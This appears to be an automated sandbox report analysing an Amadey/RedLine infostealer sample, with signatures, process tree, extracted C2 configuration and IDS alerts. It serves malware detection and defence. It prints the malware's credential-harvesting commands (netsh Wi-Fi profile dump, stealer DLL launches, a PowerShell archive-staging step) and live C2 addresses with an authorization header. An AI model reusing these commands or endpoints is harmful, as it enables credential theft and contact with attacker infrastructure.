Edit tour

Windows Analysis Report
mggoBrtk9t.exe

Overview

General Information

Sample name:	mggoBrtk9t.exe renamed because original name is a hash value
Original sample name:	dd1e3f38ae7711d270748012af613950.exe
Analysis ID:	1574303
MD5:	dd1e3f38ae7711d270748012af613950
SHA1:	b3b90eec3507f523aa63802cc16e5248c8ef0ea8
SHA256:	2997292293c332e73b11fa28126b6fbefea75a6bb02001eb017de46797d4e4ec
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected RedLine Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Contains functionality to start a terminal service

Creates a thread in another existing process (thread injection)

Found API chain indicative of debugger detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses process hollowing technique

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mggoBrtk9t.exe (PID: 6568 cmdline: "C:\Users\user\Desktop\mggoBrtk9t.exe" MD5: DD1E3F38AE7711D270748012AF613950)

audiodg.exe (PID: 5620 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

svchost.exe (PID: 2012 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorer.exe (PID: 2592 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

A629855EB2A22925382193.exe (PID: 5564 cmdline: "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe" MD5: DD1E3F38AE7711D270748012AF613950)

svchost.exe (PID: 3000 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

audiodg.exe (PID: 1884 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

msiexec.exe (PID: 740 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

56C7.tmp.ctx.exe (PID: 1596 cmdline: "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe" MD5: AE2A4249C8389603933DF4F806546C96)

56C7.tmp.ctx.exe (PID: 2496 cmdline: "C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe" MD5: AE2A4249C8389603933DF4F806546C96)

A629855EB2A22925382193.exe (PID: 3080 cmdline: "C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe" MD5: DD1E3F38AE7711D270748012AF613950)

audiodg.exe (PID: 2184 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

svchost.exe (PID: 2376 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msiexec.exe (PID: 2084 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

6148.tmp.ssg.exe (PID: 4040 cmdline: "C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe" MD5: 7B6730CA4DA283A35C41B831B9567F15)

759D.tmp.gfx.exe (PID: 2092 cmdline: "C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe" MD5: 4962575A2378D5C72E7A836EA766E2AD)

Gxtuum.exe (PID: 3640 cmdline: "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe" MD5: 4962575A2378D5C72E7A836EA766E2AD)

msiexec.exe (PID: 2704 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

Gxtuum.exe (PID: 5204 cmdline: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe MD5: 4962575A2378D5C72E7A836EA766E2AD)

Gxtuum.exe (PID: 3076 cmdline: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe MD5: 4962575A2378D5C72E7A836EA766E2AD)

rundll32.exe (PID: 6432 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5696 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6912 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7012 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 5672 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 2872 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 5680 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 1180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 964 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 6040 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5544 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: Amadey

{"C2 url": "185.81.68.148/8Fvu5jh4DbS/index.php", "Version": "5.10", "Install Folder": "ee29ea508b", "Install File": "Gxtuum.exe"}

Threatname: RedLine

{"C2 url": ["185.81.68.147:1912"], "Bot Id": "eewx", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000000.1347856091.000000000AFF0000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3ddad:$s2: ReflectiveLoader@
00000005.00000003.1588276592.000000000A1EE000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000011.00000000.1536966434.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3800744010.0000021C7EC7D000.00000004.00000020.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
Process Memory Space: 6148.tmp.ssg.exe PID: 4040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6148.tmp.ssg.exe PID: 4040	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
34.2.rundll32.exe.6f6f0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.2.explorer.exe.c5b0000.3.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3ddad:$s2: ReflectiveLoader@
5.3.explorer.exe.bf9b350.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
5.2.explorer.exe.aff0000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
18.2.759D.tmp.gfx.exe.4b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.0.explorer.exe.aff0000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
5.3.explorer.exe.bf9b350.2.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
33.2.rundll32.exe.6f6f0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.svchost.exe.21c7ec7d000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
23.0.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.2.explorer.exe.bf9b350.2.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
5.0.explorer.exe.aff0000.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
19.0.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
17.0.6148.tmp.ssg.exe.7b0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.3.explorer.exe.bf9b350.5.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
23.2.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.svchost.exe.21c7ec7d000.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
18.0.759D.tmp.gfx.exe.4b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
20.2.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.3.explorer.exe.bf9b350.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
5.2.explorer.exe.bf9b350.2.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
5.2.explorer.exe.aff0000.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
20.0.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.3.explorer.exe.bf9b350.2.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
5.2.explorer.exe.c5b0000.3.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3cbad:$s2: ReflectiveLoader@
19.2.Gxtuum.exe.300000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
5.3.explorer.exe.bf9b350.5.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x3b9ad:$s2: ReflectiveLoader@
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5696, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7012, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\mggoBrtk9t.exe, ProcessId: 6568, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Services

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5696, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7012, ProcessName: powershell.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\mggoBrtk9t.exe", ParentImage: C:\Users\user\Desktop\mggoBrtk9t.exe, ParentProcessId: 6568, ParentProcessName: mggoBrtk9t.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 2012, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5696, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7012, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\mggoBrtk9t.exe", ParentImage: C:\Users\user\Desktop\mggoBrtk9t.exe, ParentProcessId: 6568, ParentProcessName: mggoBrtk9t.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 2012, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 2872, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 5680, ProcessName: netsh.exe

Suricata Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:19:04.901403+0100	2043234	1	A Network Trojan was detected	185.81.68.147	1912	192.168.2.11	49760	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:19:04.468315+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:10.204185+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:11.513947+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:11.961998+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:12.400353+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:12.859879+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:13.736992+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:14.356841+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:14.476950+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.091899+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.536536+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.972311+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:17.407692+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:17.846333+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:18.287580+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:18.801374+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:19.998470+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:20.489301+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:21.072324+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:21.938659+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:22.382676+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:22.819111+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:23.252378+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:23.725939+0100	2043231	1	A Network Trojan was detected	192.168.2.11	49760	185.81.68.147	1912	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:19:11.633705+0100	2046056	1	A Network Trojan was detected	185.81.68.147	1912	192.168.2.11	49760	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T08:18:49.337834+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49726	185.81.68.147	80	TCP
2024-12-13T08:19:00.225322+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49748	185.81.68.147	80	TCP
